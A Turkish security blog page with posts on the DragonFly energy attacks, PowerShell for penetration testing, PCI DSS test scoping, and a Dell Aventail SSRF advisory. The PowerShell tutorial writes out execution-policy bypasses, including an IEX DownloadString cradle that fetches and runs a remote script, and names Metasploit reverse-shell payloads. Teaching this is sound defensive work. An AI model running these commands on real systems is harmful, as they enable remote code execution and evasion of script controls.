BiznetBiznet

By Can Demirel

DragonFly ve Türkiye Enerji Tesislerine Olası Etkileri

6 Eylül 2017 tarihi itibarıyle DragonFly 2.0 ile enerji sektörüne özelleşmiş siber saldırılar tekrar gündeme geldi. Her ne kadar enerji sektörü özelinde siber saldırlar yeni yeni gündemi meşgul etse de yakın geçmişe baktığımızda çok ciddi sonuçlar doğuran siber saldırılara hep birlikte şahit olduk.

Bunlardan en göze çarpanının Ukrayna enerji altyapılarına düzenlenen saldırılar olduğunu söylemek yanlış olmayacaktır. 2015 ve 2016 yıllarında Ukrayna’da gerçekleşen siber saldırılar sonucu yüzbinlerce insanın belirli süre elektriksiz kaldığı belirtiliyor. Ek olarak geçtiğimiz aylarda Avrupa’da enerji altyapılarının saldırılara maruz kaldığı, Amerika’da bazı nükleer tesislerin de saldırılara hedef olduğuna ilişkin haberler de gündemi bir süre meşgul etti. “Blackout” olarak adlandırdığımız, bir bölgenin veya yüksek sayıda insanın/altyapının elektriksiz kalması durumunun siber saldırılar sonucu da ortaya çıkabileceği, yüzleşmek zorunda olduğumuz bir gerçek.   Read more

By Ali Önder

Sızma Testlerinde PowerShell Kullanımı – 2

Powershell Execution Policy

Bir önceki yazımızda, Powershell’e giriş yapmıştık ve bazı komut yapılarını (cmdlet) tanımıştık. Bu yazı kapsamında Powershell Execution Policy’yi devre dışı bırakarak istenilen scriptlerin çalışmasını sağlayacağız. Ek olarak, Metasploit ile interaktif powershell komutları çalıştırılması konularına değineceğiz.

Aşağıda Powershell Execution Policy çeşitleri listelenmiştir.

Restricted: Script dosyalarının çalıştırılmasını engeller. Powershell sadece interaktif mode ile kullanılabilir.

AllSigned: Bilgisayarınızda yazmış olduğunuz script’ler dahil olmak üzere sadece güvenilir bir yayımlayıcı tarafından imzalanmış script’ler çalıştırılabilir.

RemoteSigned: Internet üzerinden indirilen tüm script ve konfigürasyon dosyalarının, güvenilir bir yayımlayıcı tarafından imzalanmış olmaları halinde çalıştırılabilir.

Unrestricted: Tüm script ve konfigürasyon dosyaları çalıştırılır. ( İnternet üzerinden indirilen imzalanmamış olan script dosyaları çalıştırılmak istendiğinde, uyarı verir ve sizden gerekli izni talep eder.)

Bypass:  Tüm script’ler çalıştırılabilir. Uyarı vermez ve izin talep etmez.

Undefined:  Geçerli olan Execution Policy’nin silinmesini sağlar. ( Not: Group Policy ile atanmış Execution Policy silinmeyecektir.)

Powershell, script dosyalarının çalıştırılmasını engellemek amacıyla varsayılan yapılandırmada Execution Policy “Restricted” olarak atanmıştır. Bu durum sızma testi uzmanları, sistem yöneticileri ve kod geliştiriciler için bir engel teşkil etmektedir. Aşağıda bu engeli aşabilmek için bazı metodları sıralayacağız.

Bir önceki blog yazımızdan öğrendiğimiz komutları kullanarak, mevcut Powershell Execution Policy’mizin konfigurasyonunu öğrenelim. Get-command *executionpolicy* şeklinde Execution Policy ile ilgili gelen komutları görüntüleyebiliriz.

Yukarıdaki çıktıdan hareketle , Get-ExecutionPolicy ile mevcut tanımlı konfigurasyonumu öğreneceğiz. Set-ExecutionPolicy ile de Windows sisteminin izin vermesi durumunda konfigurasyonumuzu değiştirebilileceğiz.

Klavyenizden Tab tuşu ile yazmış olduğunuz Powershell komutlarının tamamlanmasını sağlayabilirsiniz.

Aşağıda Windows Server 2012 işletim sisteminde mevcut olarak gelen konfigurasyonu görebilirsiniz.

Aşağıda admin kullanıcısının Set-ExecutionPolicy komutu ile mevcut konfigürasyonu nasıl değiştirdiğini inceleyebilirsiniz. Bu durumda tüm script dosyalarını istediğimiz gibi çalıştırabilir hale gelecektir.

Aynı durumu Admin olmayan bir kullanıcı  için denediğinizde, aşağıdaki gibi bir uyarı ile karşılacaksınız.

Aşağıda bu durumu daha da özetleyici olması açısından, sızma testlerinde kullanılmak üzere PowerSploit modülü indirilip  Import edildiğinde, dijital olarak imzalanmadığı gerekçesiyle Powershell tarafından hata mesajı ile karşılaşılacaktır.

Bu durumda ExecutionPolicy devre dışı bırakma metodları devreye girecektir.

Aşağıda Metin Belgesi açılarak Write-host” Merhaba Dünya.” Powershell komutu ile ekrana “Merhaba Dünya” yazılması sağlanan bir merhaba.ps1 dosyası oluşturulmuştur. Aşağıdaki tüm Execution Policy devre dışı bırakma örneklerin de merhaba.ps1 dosyasını kullanacağız.

  • En kolay yöntemden başlayalım : oluşturmuş olduğunuz kodları direkt olarak Powershell’e kopyalayınız ve çalıştırınız.

  • Get-Content komutu ile oluşturmuş olduğumuz script dosyasının içeriğinin okunmasını sağlayıp Powershell.exe ile birleştiriniz. (pipe işlemi)

  • Aşağıdaki komut aracılığıyla hard-disk üzerinden işlem yapmadan Merhaba.ps1 script dosyamızı bilgisayara indirebilir ve Execution Policy devre dışı bırakılarak script’imiz çalıştırabilir. Powersploit script’lerini indirirken de genellikle bu yolu tercih edeceğiz.
    IEX(New-Object Net.WebClient).DownloadString(“http://www.test.com/merhaba.ps1 “)
  • Invoke-Command komutu aracılığıyla local ve uzak bilgisayarlar da komut çalıştırabilirsiniz

  • Invoke-Expression komutu aracılığıyla lokal bilgisayarlar da komut çalıştırabilir ve aşağıdaki metot ile Execution Policy devre dışı bırakabilirsiniz.

  • Dosyanızdan script çalıştırırken aşağıdaki komut ile Execution Policy devre dışı bırakabilirsiniz.

  • Sızma testlerinde en çok kullanacağımız yollardan olan komut dizinidir. Execution Policy’i otomatik olarak istediğimiz konfigürasyona getirmemiz sağlar. Özellikle, Powersploit dosyalarını indirirken kullanacağız. Aşağıda görüldüğü gibi kendi yazmış olduğumuz merhaba.ps1 script’i çalışmıyor iken Execution Policy Restricted olarak tanımlanmış durumdadır.
    “powershell.exe -nop -exec bypass” komutu ile Execution Policy konfigürasyonu Bypass olarak değiştirilmiş ve script’imiz çalıştırılmıştır.

Metasploit Interaktif Powershell Oturumları

Metasploit interaktif olarak kullanabileceğimiz bazı Powershell oturumları sunmaktadır. Aşağıda görebilirsiniz.

Meterpreter ile Powershell sistemlerine geçiş yapmaya çalıştığımızda, Powershell ve bizim oturumumuz arasında herhangi bir etkileşim bulunmamaktaydı.

Aşağıda bu konu ile ilgili örneği bulabilirsiniz. Windows makinemize windows/meterpreter/reverse_tcp ile bağlantı kuruyoruz ve shell ile Command Prompt’a (CMD) geçiş yapıyoruz sonrasında powershell.exe ile Powershell’e erişiyoruz fakat yazdığımız komutlar ile Powershell arasında herhangi bir etkileşim bulunmamaktadır.

Get-ExecutionPolicy komutumuza karşılık olarak cevap dönmemektedir.

Yukarıdaki bağlantımızı Metasploit’in sunmuş olduğu interaktif Powershell bağlantısı windows/powershell_reverse_tcp ile oluşturuyoruz.

Aşağıda görüldüğü gibi otomatik olarak Powershell üzerine düşmekteyiz. Yazmış olduğumuz komutlara karşılık cevapları etkileşimli olarak görüntüleyebiliyoruz.

 

 

By Ali Önder

Sızma Testlerinde PowerShell Kullanımı – 1

Bu yazı dizisi  Powershell başlangıç seviyesinden Sızma Testlerinde Powershell kullanımı yönünde ilerleyecektir.

İlk bölümde, Powershell’e giriş, temel Powershell komutları (cmdlet), Powershell Pipe İşlemi daha sonraki bölümlerde, Powersploit Kullanımı, Metasploit Powershell Payload, Meterpreter Powershell Import, Powershell Remoting, Powershell Execution Policy Bypass Edilmesi konularına değineceğiz.

Powershell Nedir?
Powershell, Windows ve Windows Server işletim sistemlerinin yönetimini kolaylaştırmak amacıyla tasarlanan otomasyon platformu ve betik dilidir. Diğer metin-tabanlı shell sitemlerinin aksine, Powershell zengin nesnelere ve tüm .NET ortamının içeriğine sahiptir.

  Öncesi Şimdi
Grafiksel Kullanıcı Arayüzü MMC Powershell
Interaktif Shell CMD Powershell
Betik Dili BAT Powershell
COM WMI Powershell


Neden Powershell ?

  1. Powershell neredeyse tüm Windows platformuna erişim sağlar.
  2. .Net tabanlı ve Windows ile entegre durumdadır.
  3. Sistem yöneticileri, Anti-virüs yazılımları vs. tarafından güvenilir bir platform olmasıdır.
  4. PowerShell Windows 7 ve üzeri, Windows Server 2008 ve üzeri işletim sistemlerinde kurulu olarak gelmektedir.

Powershell’e Erişim

(Microsoft+Run) Powershell yazarak erişim sağlayabilirsiniz. Admin seviyesinde Powershell kullanımı için sağ tıklayıp “Run as Administrator” seçeneği ile ilerleyebilirsiniz.

Powershell Komut Yapısı

Fiil-İsim formatı şeklindedir.

Örnek olarak;  Get-Process, Delete-Item, Start-Service verilebilir.

Cmdlets (Powershell Komutları)

Powershell üzerinde bir çok cmdlet( komut) bulunmaktadır. Aşağıda bazı örnekleri bulabilisiniz.

  • Get-Help
  • Get-Command
  • Get-Content
  • Get-ChildItem

Get-Help

Get-Help komut aracılığı ile Powershell üzerinde bulunan diğer komutlara(cmdlet) ait bilgi elde edebilirsiniz. Get-Help komutu kullanmadan önce Help dosyasının güncellenmesi için Update-Help komutu çalıştırmak gerekiyor

Örnek 1:
PS C:\Windows\system32> Get-Help Get-Command komutu ile Get-Command komutunun kullanımını inceleyebilirsiniz. Ek olarak, bilgi almak istediğiniz komutu online olarak da Microsoft’un sitesinden inceleyebilirsiniz, aşağıdaki komutu çalıştırmanız yeterli olacaktır.

PS C:\Windows\system32>  Get-Help Get-Service -online

Get-Command

Get-Command komutu ile Powershell üzerinde belirtmiş olduğunu kriterlere uygun komutları size listeler. Örnek olarak ; Get-Command *service* komutu ile içerisinde service kelimesi geçen tüm komutları size listeler.

Örnek 2-  PS C:\Windows\system32> Get-Command get-*
komutu ile get- ile başlayan tüm Powershell komutları (cmdlet) listelenmektedir.

Get-Content

Get-Content komutu dosya içeriğini okumamız için kullanılmaktadır.

Örnek 3:

PS C:\Windows\system32> Get-Content C:\Users\abc\Desktop\test.txt

Not:  Powershell komutları kullanılırken yol(path)bilgisi belirtmemiz gerekiyor ve yol bilgisi arasında boşluk içeren bir klasör olması durumunda, tüm path çift tırnak içerisine alınmalıdır.Aşağıdaki örnekte, pen test klasöründe boşluk bulunduğu için tüm path çift tırnak içerisine alınmıştır.

Örnek 4:

PS C:\Windows\system32> Get-Content “C:\Users\abc\Desktop\pen test\test.txt”

Get-ChildItem

Get-ChildItem komutu dir komutu ile aynı işleve sahiptir. Aşağıda Get-ChildItem komutu ile bazı örnekleri bulabilirsiniz.

C:\ klasörü altındaki tüm klasörleri listelemek için;

PS C:\Windows\system32>   Get-ChildItem C:\

C:\ klasörü altındaki tüm klasörleri gizli klasörde dahil olmak üzere listelemek için;

PS C:\Windows\system32>   Get-ChildItem C:\ -force

Alt dizinlerde dahil olmak üzere listelemek için;

PS C:\Windows\system32>   Get-ChildItem C:\Test -recurse

Test klasörü ve alt dizinler altında .txt uzantılı dosyaları listelemek için aşağıdaki komut kullanılabilir;

Get-ChildItem “C:\Test” -recurse -filter  “*txt”

Powershell ile Komutlar Arası Bağ Kurma (Pipe)

Unix sistemlerindeki gibi; Powershell ile herhangi bir komut çalıştırdığında farklı komutlar ile bağ kurabilmektedir.

Aşağıdaki komut service durumu “running” olan tüm servislerin listelenmesini sağlamaktadır.

PS C:\Windows\system32>   Get-Service | Where-Object {$_.status -eq “running”}

Aşağıdaki komut ile computers.txt altında bulunan IP adreslerinin her birine ping gönderilmesini sağlamaktadır.

PS C:\Windows\system32> Get-Content C:\computers.txt | foreach object {ping $_}

Test klasörü altında gizli (hidden) klasörlerin listelenmesini sağlamaktadır.

PS C:\Windows\system32>   Get-ChildItem C:\Test -force| Where-Object {$_.mode -match “h”}

Test klasörü altında okuma yetkisi bulunan (read-only) klasörlerin listelenmesini sağlamaktadır.

PS C:\Windows\system32>   Get-ChildItem C:\Test -force| Where-Object {$_.mode -match “r”}

Aşağıdaki komut ile Password kelimesini tüm dosyalarda arayabilirsiniz;

PS C:\Windows\system32> Get-ChildItem -recurse | Select-String -pattern “password” | Select Path,Line

Windows Process Komutları

Aşağıda Windows uygulamaları ile yapılan bir örneği bulabilirsiniz. Örnekte, Notepad Powershell komutları başlatılmış. Başlamış olan Notepad uygulamasının Process ID’si alınmış, uygulama durdurulmuş ve yeniden başlatılmıştır.

PS C:\Windows\system32>  Start-Process Notepad

PS C:\Windows\system32> Get-Process Notepad

PS C:\Windows\system32> Stop-Process Notepad

PS C:\Windows\system32> Restart-Process Notepad

By Can Demirel

PCI DSS Kapsamında Sızma Testleri ve Kapsam Belirleme

Bilgi güvenliğinin etkin derecede sürdürülebilmesi için çok sayıda standart, çerçeve ve yasal düzenleme bulunmaktadır. Bunlardan bazıları yönetim sistemi, bazıları uygulama güvenliği, bazıları doğrudan ürünlerin güvenliği ile ilgilenmektedir. PCI DSS (Payment Card Industry Data Security Standard) ise ödeme altyapılarının güvenliği ile ilgilenmektedir. PCI DSS; Visa, MasterCard, Discover, JCB ve American Express gibi çok uluslu kart markaları tarafından  2004 yılında kurulan bir oluşumdur ve temel amacı ödeme hesabı güvenliğini geliştirerek (kredi kartı, debit kart vb) kişisel hassas bilgilerin (Kart Numarası, PIN, CVV vb) ifşasına karşı bilgi güvenliği standardları oluşturmaktır.

PCI DSS denetimine tabi kuruluşların, teknik açıklıkların yönetimine ilişkin politika ve prosedürleri tanımlayarak, belirli periyotlarla güvenlik taraması ve sızma testlerini gerçekleştirmesi beklenmektedir.

Kurumların;

Her  üç aylık dönemde ASV (Approved Scanning Vendor) dış zafiyet taraması,
Yılda bir defa ve kayda değer değişikliklerden sonra sızma testi,
Her üç aylık dönemde iç güvenlik taraması
İşlemlerini gerçekleştirmesi gerekmektedir.
Bu yazımızda PCI DSS kapsamında yapılması zorunlu olan sızma testlerine değineceğiz:
PCI DSS kapsamında yapılması gereken sızma testlerine ilişkin gereksinimler standardın 11.3 numaralı maddesinde ele alınmaktadır.

Sızma testleri ile hedeflenen :

  • Kötü niyetli kullanıcıların sistem, dosyalar, loglar ve/veya kart verisine ait temel güvenliği etkileyecek varlıklara olan varsa erişiminin ve ne şekilde olacağının belirlenmesi
  • PCI DSS için gerekli olan uygulama kontrollerinin, zafiyet yönetiminin, metodolojilerin ve segmentasyonun doğru bir şekilde uygulandığının teyit edilmesidir.

PCI DSS kapsamında gerçekleştirilen testlerde dikkat edilmesi gerekli hususlar aşağıdaki gibidir;

Kapsam Belirleme

PCI DSS kapsamında gerçekleştirilen sızma testlerine ait kapsamın belirlenmesi her zaman en karmaşık konulardan birisi olmuştur. Yanlış belirlenen kapsam, testin etkinliğini ve yeterliliğinin sorgulanmasına sebep olacaktır. Kapsamın belirlenmesine ilişkin hatalar, PCI DSS denetimleri gerçekleştirirken de karşımıza çıkmaktadır.

Sızma testi kapsamını belirlemek kuruluşun sorumluluğundadır. Eksik ve hatalı belirlenen kapsamdan yine kuruluş sorumlu olacaktır. Kapsam belirleme kimi zaman bilinçli kimi zaman da bilinçsiz olarak eksik/hatalı olarak belirlenmektedir.

Kapsam ile ilgili kavramlara geçmeden önce kart sahibi bilgisi ortamı CDE (Card Holder Data Environment) kavramını hatırlamakta fayda olacaktır:

“the people, processes, and technology that store, process, or transmit cardholder data or sensitive authentication data”

Yukarıdaki tanım ışığında sızma testi kapsamı aşağıdaki gibi tariflenebilir;

Tüm CDE (Card Holder Data Environment),
CDE (Card Holder Data Environment)’ye etkisi olabilecek tüm kritik sistemler* sızma testi kapsamında olmalıdır.

*Kritik Sistem: Kritik sistem PCI DSS tarafından CardHolder Data’sına ilişkin işlem yapan veya cardholder data’sını korumaya yönelik sistemler olarak belirlenmektedir. PCI DSS bu sistemleri şu şekilde örneklemektedir. “Güvenlik sistemleri, internet üzerinden erişilebilir sistemler, veritabanları, cardholder data’sını işleyen, depolayan, ileten diğer tüm sistemler”. Bununla birlikte CDE kapsamında olmayan fakat güvenliğine etkisi olabilecek firewal, IPS/IDS, Authentication sunucuları, E-commerce redirection sunucuları v.b ya da yetkili kullanıcılar tarafından yönetilen CDE ortamındaki bileşenlere etkisi olabilecek tüm bileşenler kritik sistem olarak değerlendirilmelidir.

Bu iki ifadeden hareketle sızma testi sürecinin en az aşağıdaki iki bileşeni içermesi gerektiği yorumunu yapmak yanlış olmayacaktır;

  1. CDE ilişkili internet üzerinden erişilebilir tüm bileşenler (public facing attack surface)- Harici sızma testi
  2. CDE ilişkili yerel ağ üzerinden erişilebilir tüm bileşenler (LAN to LAN attack surface)- Dahili sızma testi

Ayrıca, kapsam belirlenirken, kritik sistem bileşenlerinin CDE ortamı ile olan segmentasyon yöntemi (Açık, Kontrollü Erişim, İzole Edilmiş) belirlenerek, testler esnasında bu segmentasyonların göz önünde bulundurulması gerekmektedir. İlerleyen bölümlerde daha detaylı olarak açıklanacağı üzere; CDE ortamından izole edilmiş sistemlerin/bileşenlerin izolasyonunun testler esnasında teyit edilmesi gerekmektedir.

Aşağıdaki soruların cevabının aranması, sızma testi kapsamını belirlemede yaşanan hataları azaltmamıza katkı sağlayacaktır

  1. Internet üzerinden CDE ve CDE ile ilişkili tüm erişimler/sistemler kapsama alındı mı?
  2. CDE ortamı için Özel IP adreslerine tanımlanmış özel servisler kapsama alındı mı?
  3. Uzaktan erişim servisleri kapsama alındı mı?
    1. Dial-up, modem
    2. VPN altyapısı (IPSEC, SSL VPN v.b)
  4. Internet üzerinden erişilebilir sistemlere yönelik testler hem uygulama hem de ağ seviyesindeki kontrolleri içeriyor mu?
  5. Yerel ağ üzerindeki güvenlik kontrolleri CDE ile ilişkili/erişimi olan tüm VLAN’ları kapsıyor mu?
  6. CDE’nin güvenliğine etkisi olabilecek tüm sistemler yerel ağ güvenlik denetimi kapsamında mı?

Özetle kapsam;

  1. Cardholder Data yerleşkeleri (Birden fazla DataCenter olan yerler, Disaster Recovery v.b)
  2. Cardholder Data’ını işleyen, ileten, depolayan uygulamalar (Web uygulaması, veritabanı)
  3. Hassas/kritik ağ bağlantıları (Firewall, switch v.b)
  4. Kablosuz Ağ Erişim noktaları
  5. CDE ortamına erişim sağlamaya olanak tanıyacak tüm varlıkları içerecek şekilde olmalıdır.

Yerel Ağ Güvenlik Denetimleri

  1. Yerel ağ güvenlik denetimleri CDE ortamına ilişkin yerel ağ üzerinden erişilebilir bileşenlerini ve bu bileşenlerin servislerini içerecek şekilde gerçekleştirilmelidir. CDE’ye veya CDE’nin güvenliğine etkisi olabilecek tüm yerel ağ bileşenleri kapsama alınmalıdır.
  2. CDE ortamını doğrudan CDE ağı içerisinden test etmek bir gereksinim değildir. Bununla birlikte sadece CDE ortamının test edilmesi de gereksinimleri karşılamak açısından yeterli olmayacaktır. Ancak test sırasında CDE ortamına herhangi bir testin sonucu olarak erişim sağlanırsa buradaki bileşenlerin de testi tabi tutulması tavsiye edilir. Ayrıca veri sızıntısı engelleme çözümlerinin, CDE ortamında sızma testi uzmanının veri çıkarmasını engellemesi beklenmektedir.

Uygulama Güvenlik Denetimleri

  1. Öncelikle kuruluşa özgü olarak geliştirilmiş veya özelleştirilmiş tüm uygulamalar denetim kapsamına alınmalıdır.
  2. Uygulama kapsamında kimlik doğrulama mekanizmaları mevcutsa rol ve erişim tiplerine göre kontroller gerçekleştirilmelidir. Bu testler özellikle cardholder datasına erişim yetkisi olmayan rollerin bu türden verilere erişim sağlayıp sağlayamadığı kontrolleri içermelidir. Ek olarak testler kullanıcı gözü ile gerçekleştirilmeli ve kullanıcıların sadece kendilerine ait verileri görüntülemesine olanak tanıyan kontrollerin etkinliği ölçülmelidir. Bu noktada testi yaptıran kuruluş gerekli hesapları sağlamaktan sorumludur.
  3. Test kapsamında PA-DSS uyumluluğu olan uygumalar denetime tabi tutulacaksa uygulamanın fonksiyonellik testlerine tabi tutulmasına gerek yoktur. (Oturum yönetimi, anahtar yönetimi, transcation yönetimi). Bununla birlikte uygulamanın implementasyonu ile kontroller gözden geçirilmelidir. (İşletim sistemi seviyesi, servisler v.b)
  4. Kuruluşa özgü olarak geliştirilmeyen fakat kuruluşa özgü özelleştirilen uygulamalarda (dosya paylaşım uygulamaları, portal, cihaz yönetim arayüzleri, web-mail bileşenleri veya kısaca kuruluşun kaynak kod üzerinde doğrudan söz sahibi olmadığı uygulamalar) uygulama seviyesinde kontrollere gereksinim yoktur. Bunun yerine bu türden bileşenlerin uygulanması (implementation), yapılandırması, konumlandırması ve ağ seviyesinde kontrollerin gerçekleştirilmesi faydalı olacaktır.
  5. Eğer uygulama Back-End API’lerle işlem yapıyorsa bu API’lerde denetim kapsamında alınmalıdır.
  6. Uygulama güvenlik denetimleri minumum PCI DSS 6.5 maddesinde belirtilen gereksinimleri karşılayacak şekilde gerçekleştirilmelidir.

Test Ortamı mı? Canlı Ortam mı?

PCI DSS kapsamında gerçekleştirilen denetimlerde sıkça gündeme gelen konulardan bir tanesi de testlerin “test ortamı” ve “canlı ortam” üzerinde gerçekleştirilmesidir. Eğer test edilecek sistemin  kesintiye toleransı düşükse ve canlı sistem üzerindeki kontroller güvenlik denetim süresini uzatacaksa canlı ortamın birebir eşleniği olan izole bir test ortamında testler gerçekleştirilebilir. Burada birebir eşlenik kavramı uygulama ve ağ seviyesindeki tüm alt birimleri adreslemektedir. Ek olarak test ortamında tespit edilen sömürülebilir tüm açıklıklar canlı ortam da geçerli olduğu doğrulanmalıdır.

Segmentasyon (Segmentation) Testleri/Bölümlendirme Testleri

PCI DSS 11.3.4 maddesi sızma testleri kapsamında segmentasyon kontrollerinin etkinliğinin ölçülmesini gerekli kılmaktadır. Segmentasyon testlerinde kullanılacak yöntem tüm ağlar için doğru sonuçlar üretecek şekilde belirlenmelidir.

Segmentasyon değerlendirmeleri non-CDE ağların/ortamların CDE izolasyonun tam olarak sağlanıp sağlanmadığını belirlemeye yönelik olmalıdır.

Bir sistemin PCI-DSS kapsamında dışında değerlendirilebilmesi için ilgili sistemin ele geçirilmesi halinde CDE’nin güvenliğine etkisi olup olmadığı gözden geçirilir. Eğer etkisi varsa, CDE’nin kart işlemeye yönelik, iletim, saklama, işleme alma tanımı gözetmeksizin çalışma kapsamına alınmalıdır.

Eğer segmentasyon kontrolleri sırasında doğru olarak izole edilmemiş bir ağ tespit edilirse bu ağa yönelik iki kontrol uygulanabilir. İlk olarak bu ağ üzerinde izolasyon kuruluş tarafından sağlanmalı ya da ikinci bir yöntem olarak ilgili ağ bir bütün olarak ağ seviyesinde sızma testine tabi tutulmalıdır.

Sosyal Mühendislik Testleri

Sosyal mühendislik testleri doğrudan bir PCI DSS gereksinimi değildir. Bununla birlikte sosyal mühendislik testleri son kullanıcıya yönelik risk ve tehditleri adreslemek açısından önem taşır. Özellikle son kullanıcı farkındalığının ölçümlenmesinde girdi olarak kullanılabilir. Sosyal mühendislik testleri gerçekleştirilirlen kuruluşun olgunluk seviyesi, kültürü dikkate alınmalı ve bu testler sırasında  veri modellemesinde kullanılabilecek yeterince tesadüfi örnek alınmalı ve örnek rastgeleliği sağlanmalıdır. Son toplamda sosyal mühendislik testleri sadece belirli bir gruba yönelik olacağından tüm kuruluşa ilişkin yorum yapmak kimi zaman sakıncalı olabilir. Bu bağlamda oransal olarak yaklaşmak faydalı olacaktır. Sosyal mühendislik testleri kapsamında, tailgating gibi fiziksel kontrollerin yanı sıra, telefon, e-posta gibi yöntemler de ihtiyaca göre kapsama alınabilir.

Significant Change Kavramı

PCI DSS 11.3.1 ve 11.3.2 maddelerinde güvenlik testlerinin periyodunu en az bir yıl ve “significant change”-önemli bir değişiklik- olduğunda olacak şekilde belirlemiştir. Bu kavram bir miktar yoruma açıktır. Değişiklik yapılan ortama ve kuruluşa göre farklı yorumlanabilir. Significant change kavramı ağ güvenliğine veya cardholder data’sına erişim sağlamaya olanak verecek herhangi bir değişim olarak tanımlanabilir. Bu durumda değişiklik sonrası alınan önlemlerin güvenlik denetimine tabi tutularak alınan kontrollerin etkinliğinin doğrulanması gerekmektedir.

Raporlama Kılavuzu

PCI kapsamında yapılan sızma testine ait sonuçlar, iyi bir şekilde dokümante edilmeli ve aşağıdaki başlıklar raporda detaylandırılmalıdır:

  • Testin kapsamı
  • Test kapsamına ilişkin kısıtlamalar
  • Testler ve zafiyetler hakkında detay bilgiler
  • Segmentasyon doğrulamasına ilişkin test sonuçları
  • Kullanılan araçlar
  • Ortamın temizlenmesine yönelik gerekli aksiyon planları
  • Nihai test sonuçları
  • Kanıtları ile beraber tekrar doğrulama sonuçları

By Melih Berk Ekşioğlu

Dell Aventail Management Console SSRF Açıklığı

CVE:CVE-2016-5120 (Reserved)

Ürün: Dell Aventail Management Console

Etkilenen Sürümler: Tüm Dell Aventail Management Console sürümleri

Raporlayan: Melih Berk Ekşioğlu

Raporlama Tarihi: 22 Nisan 2016

Üretici Cevabı: 22 Nisan 2016

Yama Tarihi: 16 Haziran 2016

Problem Detayları: SSRF (Server Side Request Forgery) saldırganların, zafiyeti barındıran sistemden harici sistemlere istek yollatabilmesi problemidir. Söz konusu durum sayesinde saldırganlar bu sistem ile aynı ağda veya Internet üzerine bulunan diğer sistemlere, bu sistemin ip adresi ile herkese açık bir proxy gibi istek yollayabilmektedirler. Belirtilen problem yerel ağa erişim, kimlik gizleme, farklı sistemlere size ait bir sistem üzerinden saldırı düzenleme, port ve ağ taraması yapma gibi işlemler için rahatlıkla kötüye kullanılabilir.

Çözüm/Öneri: Üretici tarafından yayımlanan hot-fix’in uygulanması tavsiye edilmektedir.
https://support.software.dell.com/sonicwall-secure-mobile-access/kb/204906

Referanslar: http://www.dell.com/learn/nz/en/nzbsd1/campaigns/contributors-dell-software-security?c=nz&l=en&s=bsd&cs=nzbsd1

1 2 3